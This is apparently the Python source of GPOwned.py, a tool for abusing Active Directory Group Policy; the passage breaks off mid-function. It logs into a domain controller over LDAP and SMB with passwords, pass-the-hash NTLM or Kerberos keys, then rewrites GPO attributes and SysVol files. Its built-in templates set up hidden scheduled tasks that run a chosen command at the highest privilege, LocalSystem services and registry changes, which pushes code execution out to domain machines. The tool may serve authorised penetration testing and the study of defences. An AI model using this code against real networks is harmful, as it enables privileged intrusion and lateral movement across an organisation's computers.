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GPOwned.py
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GPOwned.py
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#!/usr/bin/env python
# GPO helper
# Author: Juan Manuel Fernandez (@TheXC3LL)
import os
import sys
import argparse
import logging
import ldap3
import uuid
from impacket.smbconnection import SMBConnection
from datetime import datetime
import ssl
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
from binascii import unhexlify
class GPOhelper:
def __init__(self, username, password, domain, lmhash, nthash, dcHost, scope, context, kerberos, aesKey, options):
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = lmhash
self.__nthash = nthash
self.__dcHost = dcHost
self.__k = kerberos
self.__aesKey = aesKey
self.__options = options
self.ldapconn = ''
self.ldaprecords = []
self.smbconn = ''
if scope == "gPCUserExtensionNames":
self.gpoattr = scope
self.gpopath = "User"
elif scope == "gPCMachineExtensionNames":
self.gpoattr = scope
self.gpopath = "Machine"
self.context = context
# From GetADUsers.py - Create BaseDN
domainParts = self.__domain.split('.')
self.baseDN = ''
for i in domainParts:
self.baseDN += 'dc=%s,' % i
self.baseDN = self.baseDN[:-1]
self.ms_gppref = {
"{00000000-0000-0000-0000-000000000000}" : "Core GPO Engine",
"{0ACDD40C-75AC-47AB-BAA0-BF6DE7E7FE63}" : "Wireless Group Policy",
"{0E28E245-9368-4853-AD84-6DA3BA35BB75}" : "Group Policy Environment",
"{0F3F3735-573D-9804-99E4-AB2A69BA5FD4}" : "Computer Policy Setting",
"{0F6B957D-509E-11D1-A7CC-0000F87571E3}" : "Tool Extension GUID (Computer Policy Settings)",
"{0F6B957E-509E-11D1-A7CC-0000F87571E3}" : "Tool Extension GUID (User Policy Settings) Restrict Run",
"{1612B55C-243C-48DD-A449-FFC097B19776}" : "Data Sources",
"{16BE69FA-4209-4250-88CB-716CF41954E0}" : "Central Access Policy Configuration",
"{17D89FEC-5C44-4972-B12D-241CAEF74509}" : "Group Policy Local Users and Groups",
"{1A6364EB-776B-4120-ADE1-B63A406A76B5}" : "Group Policy Device Settings",
"{1B767E9A-7BE4-4D35-85C1-2E174A7BA951}" : "Devices",
"{25537BA6-77A8-11D2-9B6C-0000F8080861}" : "Folder Redirection",
"{2A8FDC61-2347-4C87-92F6-B05EB91A201A}" : "MitigationOptions",
"{2EA1A81B-48E5-45E9-8BB7-A6E3AC170006}" : "Drives",
"{3060E8CE-7020-11D2-842D-00C04FA372D4}" : "Remote Installation Services",
"{346193F5-F2FD-4DBD-860C-B88843475FD3}" : "ConfigMgr User State Management Extension",
"{35141B6B-498A-4CC7-AD59-CEF93D89B2CE}" : "Environment Variables",
"{35378EAC-683F-11D2-A89A-00C04FBBCFA2}" : "Registry Settings",
"{3610EDA5-77EF-11D2-8DC5-00C04FA31A66}" : "Microsoft Disk Quota",
"{3A0DBA37-F8B2-4356-83DE-3E90BD5C261F}" : "Group Policy Network Options",
"{3BAE7E51-E3F4-41D0-853D-9BB9FD47605F}" : "Files",
"{3BFAE46A-7F3A-467B-8CEA-6AA34DC71F53}" : "Folder Options",
"{3EC4E9D3-714D-471F-88DC-4DD4471AAB47}" : "Folders",
"{40B6664F-4972-11D1-A7CA-0000F87571E3}" : "Scripts (Startup/Shutdown)",
"{40B66650-4972-11D1-A7CA-0000F87571E3}" : "Scripts (Logon/Logoff) Run Restriction",
"{426031C0-0B47-4852-B0CA-AC3D37BFCB39}" : "QoS Packet Scheduler",
"{42B5FAAE-6536-11D2-AE5A-0000F87571E3}" : "Scripts",
"{47BA4403-1AA0-47F6-BDC5-298F96D1C2E3}" : "Print Policy in PolicyMaker",
"{4BCD6CDE-777B-48B6-9804-43568E23545D}" : "Remote Desktop USB Redirection",
"{4CFB60C1-FAA6-47F1-89AA-0B18730C9FD3}" : "Internet Explorer Zonemapping",
"{4D2F9B6F-1E52-4711-A382-6A8B1A003DE6}" : "RADCProcessGroupPolicyEx",
"{4D968B55-CAC2-4FF5-983F-0A54603781A3}" : "Work Folders",
"{516FC620-5D34-4B08-8165-6A06B623EDEB}" : "Ini Files",
"{53D6AB1B-2488-11D1-A28C-00C04FB94F17}" : "EFS Policy",
"{53D6AB1D-2488-11D1-A28C-00C04FB94F17}" : "Certificates Run Restriction",
"{5794DAFD-BE60-433F-88A2-1A31939AC01F}" : "Group Policy Drive Maps",
"{5C935941-A954-4F7C-B507-885941ECE5C4}" : "Internet Settings",
"{6232C319-91AC-4931-9385-E70C2B099F0E}" : "Group Policy Folders",
"{6A4C88C6-C502-4F74-8F60-2CB23EDC24E2}" : "Group Policy Network Shares",
"{7150F9BF-48AD-4DA4-A49C-29EF4A8369BA}" : "Group Policy Files",
"{728EE579-943C-4519-9EF7-AB56765798ED}" : "Group Policy Data Sources",
"{74EE6C03-5363-4554-B161-627540339CAB}" : "Group Policy Ini Files",
"{7933F41E-56F8-41D6-A31C-4148A711EE93}" : "Windows Search Group Policy Extension",
"{79F92669-4224-476C-9C5C-6EFB4D87DF4A}" : "Local users and groups",
"{7B849A69-220F-451E-B3FE-2CB811AF94AE}" : "Internet Explorer User Accelerators",
"{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}" : "Computer Restricted Groups",
"{827D319E-6EAC-11D2-A4EA-00C04F79F83A}" : "Security",
"{88E729D6-BDC1-11D1-BD2A-00C04FB9603F}" : "Folder Redirection",
"{8A28E2C5-8D06-49A4-A08C-632DAA493E17}" : "Deployed Printer Configuration",
"{91FBB303-0CD5-4055-BF42-E512A681B325}" : "Group Policy Services",
"{942A8E4F-A261-11D1-A760-00C04FB9603F}" : "Software Installation (Computers)",
"{949FB894-E883-42C6-88C1-29169720E8CA}" : "Network Options",
"{9AD2BAFE-63B4-4883-A08C-C3C6196BCAFD}" : "Power Options",
"{A2E30F80-D7DE-11D2-BBDE-00C04F86AE3B}" : "Internet Explorer Branding",
"{A3F3E39B-5D83-4940-B954-28315B82F0A8}" : "Group Policy Folder Options",
"{A8C42CEA-CDB8-4388-97F4-5831F933DA84}" : "Printers",
"{AADCED64-746C-4633-A97C-D61349046527}" : "Group Policy Scheduled Tasks",
"{B05566AC-FE9C-4368-BE01-7A4CBB6CBA11}" : "Windows Firewall",
"{B087BE9D-ED37-454F-AF9C-04291E351182}" : "Group Policy Registry",
"{B1BE8D72-6EAC-11D2-A4EA-00C04F79F83A}" : "EFS Recovery",
"{B587E2B1-4D59-4E7E-AED9-22B9DF11D053}" : "802.3 Group Policy",
"{B9CCA4DE-E2B9-4CBD-BF7D-11B6EBFBDDF7}" : "Regional Options",
"{BA649533-0AAC-4E04-B9BC-4DBAE0325B12}" : "Windows To Go Startup Options",
"{BACF5C8A-A3C7-11D1-A760-00C04FB9603F}" : "Software Installation (Users) Run Restriction",
"{BC75B1ED-5833-4858-9BB8-CBF0B166DF9D}" : "Group Policy Printers",
"{BEE07A6A-EC9F-4659-B8C9-0B1937907C83}" : "Registry",
"{BFCBBEB0-9DF4-4C0C-A728-434EA66A0373}" : "Network Shares",
"{C34B2751-1CF4-44F5-9262-C3FC39666591}" : "Windows To Go Hibernate Options",
"{C418DD9D-0D14-4EFB-8FBF-CFE535C8FAC7}" : "Group Policy Shortcuts",
"{C631DF4C-088F-4156-B058-4375F0853CD8}" : "Microsoft Offline Files",
"{C6DC5466-785A-11D2-84D0-00C04FB169F7}" : "Software Installation",
"{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}" : "Scheduled Tasks",
"{CC5746A9-9B74-4BE5-AE2E-64379C86E0E4}" : "Services",
"{CDEAFC3D-948D-49DD-AB12-E578BA4AF7AA}" : "TCPIP",
"{CEFFA6E2-E3BD-421B-852C-6F6A79A59BC1}" : "Shortcuts",
"{CF7639F3-ABA2-41DB-97F2-81E2C5DBFC5D}" : "Internet Explorer Machine Accelerators",
"{CF848D48-888D-4F45-B530-6A201E62A605}" : "Start Menu",
"{D02B1F72-3407-48AE-BA88-E8213C6761F1}" : "Tool Extension GUID (Computer Policy Settings)",
"{D02B1F73-3407-48AE-BA88-E8213C6761F1}" : "Tool Extension GUID (User Policy Settings)",
"{D76B9641-3288-4F75-942D-087DE603E3EA}" : "AdmPwd (LAPS)",
"{E437BC1C-AA7D-11D2-A382-00C04F991E27}" : "IP Security",
"{E47248BA-94CC-49C4-BBB5-9EB7F05183D0}" : "Group Policy Internet Settings",
"{E4F48E54-F38D-4884-BFB9-D4D2E5729C18}" : "Group Policy Start Menu Settings",
"{E5094040-C46C-4115-B030-04FB2E545B00}" : "Group Policy Regional Options",
"{E62688F0-25FD-4C90-BFF5-F508B9D2E31F}" : "Group Policy Power Options",
"{F0DB2806-FD46-45B7-81BD-AA3744B32765}" : "Policy Maker",
"{F17E8B5B-78F2-49A6-8933-7B767EDA5B41}" : "Policy Maker",
"{F27A6DA8-D22B-4179-A042-3D715F9E75B5}" : "Policy Maker",
"{F312195E-3D9D-447A-A3F5-08DFFA24735E}" : "ProcessVirtualizationBasedSecurityGroupPolicy",
"{F3CCC681-B74C-4060-9F26-CD84525DCA2A}" : "Audit Policy Configuration",
"{F581DAE7-8064-444A-AEB3-1875662A61CE}" : "Policy Maker",
"{F648C781-42C9-4ED4-BB24-AEB8853701D0}" : "Policy Maker",
"{F6E72D5A-6ED3-43D9-9710-4440455F6934}" : "Policy Maker",
"{F9C77450-3A41-477E-9310-9ACD617BD9E3}" : "Group Policy Applications",
"{FB2CA36D-0B40-4307-821B-A13B252DE56C}" : "Policy-based QoS",
"{FBF687E6-F063-4D9F-9F4F-FD9A26ACDD5F}" : "Connectivity Platform",
"{FC491EF1-C4AA-4CE1-B329-414B101DB823}" : "ProcessConfigCIPolicyGroupPolicy",
"{FC715823-C5FB-11D1-9EEF-00A0C90347FF}" : "Internet Explorer Maintenance Extension protocol",
"{FD2D917B-6519-4BF7-8403-456C0C64312F}" : "Policy Maker",
"{FFC64763-70D2-45BC-8DEE-7ACAF1BA7F89}" : "Policy Maker"
#https://github.com/zloeber/PSAD/blob/fcf2936b79b5e49c99f09cea96fbafd26e6ecbf2/src/other/CSEGUIDMap.csv
}
self.tmpName = "/tmp/GPOwned.tmp"
self.template_file_new = '<?xml version="1.0" encoding="utf-8"?><Files clsid="{215B2E53-57CE-475c-80FE-9EEC14635851}"></Files>'
self.template_file = '<File clsid="{50BE44C8-567A-4ed1-B1D0-9234FE1F38AF}" name="CHANGEME_NAME" status="CHANGEME_NAME" image="0" changed="CHANGEME_TIMESTAMP" uid="{CHANGEME_UID}" userContext="CHANGEME_CONTEXT"><Properties action="C" fromPath="CHANGEME_FROMPATH" targetPath="CHANGEME_TOPATH" readOnly="0" archive="1" hidden="CHANGEME_HIDDEN"/></File></Files>'
self.template_folder_new = '<?xml version="1.0" encoding="utf-8"?><Folders clsid="{77CC39E7-3D16-4f8f-AF86-EC0BBEE2C861}"></Folders>'
self.template_folder = '<Folder clsid="{07DA02F5-F9CD-4397-A550-4AE21B6B4BD3}" name="CHANGEME_NAME" status="CHANGEME_NAME" image="0" changed="CHANGEME_TIMESTAMP" uid="{CHANGEME_UID}" userContext="CHANGEME_CONTEXT"><Properties action="C" path="CHANGEME_PATH" readOnly="0" archive="1" hidden="CHANGEME_HIDDEN"/></Folder></Folders>'
self.template_registry_new = '<?xml version="1.0" encoding="utf-8"?><RegistrySettings clsid="{A3CCFC41-DFDB-43a5-8D26-0FE8B954DA51}"></RegistrySettings>'
self.template_registry = '<Registry clsid="{9CD4B2F4-923D-47f5-A062-E897DD1DAD50}" name="CHANGEME_NAME" status="CHANGEME_STATUS" image="5" changed="CHANGEME_TIMESTAMP" uid="{CHANGEME_UID}" userContext="CHANGEME_CONTEXT"><Properties action="C" displayDecimal="1" default="CHANGEME_DEFAULT" hive="CHANGEME_HIVE" key="CHANGEME_KEY" name="CHANGEME_SUBKEY" type="CHANGEME_TYPE" value="CHANGEME_VALUE"/></Registry></RegistrySettings>'
self.template_service_new = '<?xml version="1.0" encoding="utf-8"?><NTServices clsid="{2CFB484A-4E96-4b5d-A0B6-093D2F91E6AE}"></NTServices>'
self.template_service = '<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="CHANGEME_NAME" image="2" changed="CHANGEME_TIMESTAMP" uid="{CHANGEME_UID}" userContext="CHANGEME_CONTEXT"><Properties startupType="AUTOMATIC" serviceName="CHANGEME_NAME" serviceAction="CHANGEME_ACTION" timeout="30" accountName="LocalSystem" interact="0"/></NTService></NTServices>'
self.template_task_new = '<?xml version="1.0" encoding="utf-8"?><ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"></ScheduledTasks>'
self.template_task = '<ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="CHANGEME_TASKNAME" image="0" changed="CHANGEME_TIMESTAMP" uid="{CHANGEME_UID}" userContext="CHANGEME_CONTEXT" removePolicy="0"><Properties action="C" name="CHANGEME_TASKNAME" runAs="CHANGEME_USER" logonType="S4U"><Task version="1.2"><RegistrationInfo><Author>CHANGEME_AUTHOR</Author><Description>CHANGEME_DESCRIPTION</Description></RegistrationInfo><Principals><Principal id="Author"><UserId>CHANGEME_USER</UserId><LogonType>S4U</LogonType><RunLevel>HighestPrivilege</RunLevel></Principal></Principals><Settings><IdleSettings><Duration>PT5M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>false</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>false</StopIfGoingOnBatteries><AllowHardTerminate>false</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><AllowStartOnDemand>false</AllowStartOnDemand><Enabled>true</Enabled><Hidden>true</Hidden><ExecutionTimeLimit>PT0S</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter></Settings><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers><Actions Context="Author"><Exec><Command>CHANGEME_LOCATION</Command></Exec></Actions></Task></Properties></ImmediateTaskV2></ScheduledTasks>'
def ldap3_kerberos_login(self,connection, target, user, password, domain='', lmhash=None, nthash=None, aesKey='', kdcHost=None,
TGT=None, TGS=None, useCache=True):
from pyasn1.codec.ber import encoder, decoder
from pyasn1.type.univ import noValue
"""
logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
:param string user: username
:param string password: password for the user
:param string domain: domain where the account is valid for (required)
:param string lmhash: LMHASH used to authenticate using hashes (password is not used)
:param string nthash: NTHASH used to authenticate using hashes (password is not used)
:param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
:param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
:param struct TGT: If there's a TGT available, send the structure here and it will be used
:param struct TGS: same for TGS. See smb3.py for the format
:param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
:return: True, raises an Exception if error.
"""
if lmhash != '' or nthash != '':
if len(lmhash) % 2:
lmhash = '0' + lmhash
if len(nthash) % 2:
nthash = '0' + nthash
try: # just in case they were converted already
lmhash = unhexlify(lmhash)
nthash = unhexlify(nthash)
except TypeError:
pass
# Importing down here so pyasn1 is not required if kerberos is not used.
from impacket.krb5.ccache import CCache
from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5 import constants
from impacket.krb5.types import Principal, KerberosTime, Ticket
import datetime
if TGT is not None or TGS is not None:
useCache = False
target = 'ldap/%s' % target
if useCache:
domain, user, TGT, TGS = CCache.parseFile(domain, user, target)
# First of all, we need to get a TGT for the user
userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
if TGT is None:
if TGS is None:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash,
aesKey, kdcHost)
else:
tgt = TGT['KDC_REP']
cipher = TGT['cipher']
sessionKey = TGT['sessionKey']
if TGS is None:
serverName = Principal(target, type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher,
sessionKey)
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = encoder.encode(apReq)
request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO',
blob.getData())
# Done with the Kerberos saga, now let's get into LDAP
if connection.closed: # try to open connection if closed
connection.open(read_server_info=False)
connection.sasl_in_progress = True
response = connection.post_send_single_response(connection.send('bindRequest', request, None))
connection.sasl_in_progress = False
if response[0]['result'] != 0:
raise Exception(response)
connection.bound = True
return True
def conn2ldap(self,tls_version, target):
print("[*] Connecting to LDAP service at %s" % self.__dcHost)
user = '%s\\%s' % (self.__domain, self.__username)
connect_to = self.__dcHost
if self.__dcHost is not None:
connect_to = self.__dcHost
if tls_version is not None:
use_ssl = True
port = 636
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version)
else:
use_ssl = False
port = 389
tls = None
ldap_server = ldap3.Server(connect_to, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls)
if self.__k:
self.ldapconn = ldap3.Connection(ldap_server)
self.ldapconn.bind()
if self.__nthash == None and self.__lmhash == None:
self.__nthash = ''
self.__lmhash = ''
self.ldap3_kerberos_login(self.ldapconn, target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__dcHost)
elif self.__nthash is not None:
self.__lmhash = "aad3b435b51404eeaad3b435b51404ee"
self.ldapconn = ldap3.Connection(ldap_server, user=user, password=self.__lmhash + ":" + self.__nthash, authentication=ldap3.NTLM, auto_bind=True)
else:
self.ldapconn = ldap3.Connection(ldap_server, user=user, password=self.__password, authentication=ldap3.NTLM, auto_bind=True)
def conn2smb(self):
print("[*] Connecting to SMB service at %s" % self.__dcHost)
try:
smbClient = SMBConnection(self.__dcHost, self.__dcHost, sess_port=445)
if self.__nthash == None and self.__lmhash == None:
self.__nthash = ''
self.__lmhash = ''
if self.__k:
smbClient.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__dcHost)
else:
smbClient.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
self.smbconn = smbClient
except:
raise
def SMBReadFile(self, path):
print("[*] Reading %s " % path)
fh = open(self.tmpName, "w+b")
self.smbconn.getFile('SysVol', path, fh.write)
fh.seek(0)
data = fh.read()
fh.close()
return data
def SMBDownloadRecursive(self, path, dst):
if "sysvol" in path.lower():
path = self.fixPath(path)
print("[*] Enumerating files at \SysVol%s" % path)
files = self.smbconn.listPath('SysVol', path + "/*")
for f in files:
current = path + "/" + f.get_longname()
if f.is_directory() > 0:
if f.get_longname() != "." and f.get_longname() != "..":
os.mkdir(dst + path[path.index("}") + 1:] + "/" + f.get_longname())
recursion = self.SMBDownloadRecursive(current, dst)
else:
fh = open(dst + path[path.index("}") + 1:] + "/" + f.get_longname(), "wb")
print("[*] Downloading \Sysvol%s" % current)
self.smbconn.getFile('SysVol', current, fh.write)
def SMBWriteFile(self, path, content):
print("[*] Writing %s" % path)
fh = open(self.tmpName, "w+b")
fh.write(content)
fh.seek(0)
self.smbconn.putFile('SysVol', path, fh.read)
fh.close()
def SMBUploadFile(self, localPath, remotePath):
print("[*] Uploading %s to %s" % (localPath, remotePath))
fh = open(localPath, "rb")
self.smbconn.putFile('SysVol', remotePath, fh.read)
fh.close()
def GUID2info(self, guids):
guids = str(guids)
info = []
while 1:
try:
sep1 = guids.index("[")
sep2 = guids.index("]") + 1
tmp = guids[sep1:sep2]
verb = []
while 1:
try:
sepa = tmp.index("{")
sepb = tmp.index("}") + 1
guid = tmp[sepa:sepb]
verb.append(self.ms_gppref[guid])
tmp = tmp[sepb:]
except:
info.append(verb)
break
guids = guids[sep2:]
except:
break
return info
def info2GUID(self, info):
guids_list = list(self.ms_gppref.keys())
info_list = list(self.ms_gppref.values())
guids = []
for x in info:
tmp = []
for y in x:
tmp.append(guids_list[info_list.index(y)])
guids.append(tmp)
return guids
def GUID2str(self, guids):
strguid = ''
for x in guids:
strguid = strguid + '['
for y in x:
strguid = strguid + y
strguid = strguid + "]"
return strguid
def generateGUID(self):
return str(uuid.uuid4()).upper()
def updateGUID(self, info, action, policies, dn):
if action != "":
info[0].append(action)
tmp = policies
info.append(tmp)
guids = self.info2GUID(info)
strguids = self.GUID2str(guids)
print("[*] Updating " + self.gpoattr)
self.ldapconn.modify(dn, {self.gpoattr:(ldap3.MODIFY_REPLACE, [strguids])})
if self.ldapconn.result['result'] != 0:
raise
def extractInfo(self, gpo):
gpoInfo = self.ldapGPOInfo("*", gpo)
dn = gpoInfo[0]["dn"]
origPath = str(gpoInfo[0]["gPCFileSysPath"])
path = self.fixPath(origPath)
info = self.GUID2info(gpoInfo[0][self.gpoattr])
ret = (path, info, dn)
return ret
def ldapQuery(self, searchFilter, attributes, prefix=''):
base = self.ldapconn.server.info.other['defaultNamingContext'][0]
if prefix:
base = prefix + base
return self.ldapconn.search(base, searchFilter, attributes=attributes)
def ldapGPOFromSiteInfo(self,name):
target = self.get_machine_name(self.__options, self.__domain)
dn_prefix = "CN=Sites,CN=Configuration,"
searchFilter = "(&(objectCategory=site)(name=%s))" % (name)
if self.ldapconn == '':
if self.__options.use_ldaps is True:
try:
self.conn2ldap(ssl.PROTOCOL_TLSv1_2, target)
except ldap3.core.exceptions.LDAPSocketOpenError:
self.conn2ldap(ssl.PROTOCOL_TLSv1, target)
else:
self.conn2ldap(None, target)
print("[*] Requesting GPOs SITE info from LDAP")
self.ldaprecords = []
retvalue = self.ldapQuery(searchFilter, ldap3.ALL_ATTRIBUTES, dn_prefix)
if retvalue != True:
raise
entries = self.ldapconn.entries
for entry in entries:
try:
tmp = {
'dn' : entry.entry_dn,
'Name' : entry["name"],
'distinguishedName' : entry["distinguishedName"],
'gPLink' : entry["gPLink"],
'objectGUID' : entry["objectGUID"],
'objectcategory' : entry["objectcategory"]
}
except ldap3.core.exceptions.LDAPKeyError:
tmp = {
'dn' : entry.entry_dn,
'Name' : entry["name"],
'distinguishedName' : entry["distinguishedName"],
'gPLink' : None,
'objectGUID' : entry["objectGUID"],
'objectcategory' : entry["objectcategory"]
}
self.ldaprecords.append(tmp)
return self.ldaprecords
def ldapGPOFromOUInfo(self,name):
target = self.get_machine_name(self.__options, self.__domain)
searchFilter = "(&(objectCategory=organizationalUnit)(name=%s))" % (name)
if self.ldapconn == '':
if self.__options.use_ldaps is True:
try:
self.conn2ldap(ssl.PROTOCOL_TLSv1_2, target)
except ldap3.core.exceptions.LDAPSocketOpenError:
self.conn2ldap(ssl.PROTOCOL_TLSv1, target)
else:
self.conn2ldap(None, target)
print("[*] Requesting GPOs OU info from LDAP")
self.ldaprecords = []
retvalue = self.ldapQuery(searchFilter, ldap3.ALL_ATTRIBUTES)
if retvalue != True:
raise
entries = self.ldapconn.entries
for entry in entries:
try:
tmp = {
'dn' : entry.entry_dn,
'Name' : entry["name"],
'distinguishedName' : entry["distinguishedName"],
'gPLink' : entry["gPLink"],
'objectGUID' : entry["objectGUID"],
'objectcategory' : entry["objectcategory"]
}
except ldap3.core.exceptions.LDAPKeyError:
tmp = {
'dn' : entry.entry_dn,
'Name' : entry["name"],
'distinguishedName' : entry["distinguishedName"],
'gPLink' : None,
'objectGUID' : entry["objectGUID"],
'objectcategory' : entry["objectcategory"]
}
self.ldaprecords.append(tmp)
return self.ldaprecords
def DomainToDN(self,domain):
parts = domain.split('.')
dn = ','.join([f'DC={part}' for part in parts])
return dn
def ldapGPOFromDomainInfo(self,name):
target = self.get_machine_name(self.__options, self.__domain)
domain_dn = self.DomainToDN(self.__domain)
searchFilter = "(&(objectClass=*)(distinguishedname=%s))" % domain_dn
if self.ldapconn == '':
if self.__options.use_ldaps is True:
try:
self.conn2ldap(ssl.PROTOCOL_TLSv1_2, target)
except ldap3.core.exceptions.LDAPSocketOpenError:
self.conn2ldap(ssl.PROTOCOL_TLSv1, target)
else:
self.conn2ldap(None, target)
print("[*] Requesting GPOs Domain info from LDAP")
self.ldaprecords = []
retvalue = self.ldapQuery(searchFilter, ldap3.ALL_ATTRIBUTES)
if retvalue != True:
raise
entries = self.ldapconn.entries
for entry in entries:
try:
tmp = {
'dn' : entry.entry_dn,
'Name' : entry["name"],
'distinguishedName' : entry["distinguishedName"],
'gPLink' : entry["gPLink"],
'objectGUID' : entry["objectGUID"],
'objectcategory' : entry["objectcategory"]
}
except ldap3.core.exceptions.LDAPKeyError:
tmp = {
'dn' : entry.entry_dn,
'Name' : entry["name"],
'distinguishedName' : entry["distinguishedName"],
'gPLink' : None,
'objectGUID' : entry["objectGUID"],
'objectcategory' : entry["objectcategory"]
}
self.ldaprecords.append(tmp)
return self.ldaprecords
def ldapGPOInfo(self, displayname, name):
target = self.get_machine_name(self.__options, self.__domain)
#searchFilter = "(&(objectCategory=groupPolicyContainer)(displayName=%s)(name=%s)(%s=*))" % (displayname, name, self.gpoattr) old query did not returned all the gpos
searchFilter = "(&(objectCategory=groupPolicyContainer)(displayName=%s)(name=%s))" % (displayname, name)
if self.ldapconn == '':
if self.__options.use_ldaps is True:
try:
self.conn2ldap(ssl.PROTOCOL_TLSv1_2, target)
except ldap3.core.exceptions.LDAPSocketOpenError:
self.conn2ldap(ssl.PROTOCOL_TLSv1, target)
else:
self.conn2ldap(None, target)
print("[*] Requesting GPOs info from LDAP")
self.ldaprecords = []
retvalue = self.ldapQuery(searchFilter, ldap3.ALL_ATTRIBUTES)
if retvalue != True:
raise
entries = self.ldapconn.entries
for entry in entries:
try:
tmp = {
'dn' : entry.entry_dn,
'Name' : entry["name"],
'displayName' : entry["displayName"],
'gPCFileSysPath' : entry["gPCFileSysPath"],
self.gpoattr : entry[self.gpoattr],
'versionNumber' : entry["versionNumber"]
}
except ldap3.core.exceptions.LDAPKeyError:
tmp = {
'dn' : entry.entry_dn,
'Name' : entry["name"],
'displayName' : entry["displayName"],
'gPCFileSysPath' : entry["gPCFileSysPath"],
self.gpoattr : None,
'versionNumber' : entry["versionNumber"]
}
self.ldaprecords.append(tmp)
return self.ldaprecords
def ldapGplinkInfo(self, ou, gpo):
target = self.get_machine_name(self.__options, self.__domain)
searchFilter = "(&(gPLink=%s)(name=%s))" % (gpo, ou)
if self.ldapconn == '':
if self.__options.use_ldaps is True:
try:
self.conn2ldap(ssl.PROTOCOL_TLSv1_2, target)
except ldap3.core.exceptions.LDAPSocketOpenError:
self.conn2ldap(ssl.PROTOCOL_TLSv1, target)
else:
self.conn2ldap(None, target)
print("[*] Requesting GPOs info from LDAP")
self.ldaprecords = []
retvalue = self.ldapQuery(searchFilter, ['distinguishedName', 'gPLink', 'name'])
if retvalue != True:
raise
entries = self.ldapconn.entries
for entry in entries:
tmp = {
'Name' : entry["name"],
'dn' : entry["distinguishedName"],
'gPLink' : entry["gPLink"],
}
self.ldaprecords.append(tmp)
return self.ldaprecords
def fixPath(self, path):
path = path.lower()
path = path[path.index("\\sysvol\\")+7:]
return path
def updateVersion(self, gpo):
searchFilter = "(&(objectCategory=groupPolicyContainer)(name=%s))" % gpo
target = self.get_machine_name(self.__options, self.__domain)
if self.ldapconn == '':
if self.__options.use_ldaps is True:
try:
self.conn2ldap(ssl.PROTOCOL_TLSv1_2, target)
except ldap3.core.exceptions.LDAPSocketOpenError:
self.conn2ldap(ssl.PROTOCOL_TLSv1, target)
else:
self.conn2ldap(None, target)
print("[*] Requesting %s version and location from LDAP" % gpo)
self.ldaprecords = []
retvalue = self.ldapQuery(searchFilter, ['versionNumber', 'gPCFileSysPath'])
if retvalue != True:
raise
entries = self.ldapconn.entries
dn = entries[0].entry_dn
loc = entries[0]['gPCFileSysPath'].value + "\\GPT.INI"
loc = self.fixPath(loc)
oldVersion = int(entries[0]["versionNumber"].value)
newVersion = oldVersion + 1
print("[*] Updating from version [%s] to [%s]" % (oldVersion, newVersion))
self.ldapconn.modify(dn, {'versionNumber':(ldap3.MODIFY_REPLACE, [newVersion])})
if self.ldapconn.result['result'] != 0:
raise
try:
if self.smbconn == '':
self.conn2smb()
orig = self.SMBReadFile(loc)
target = "Version=%s" % oldVersion
replacement = "Version=%s" % newVersion
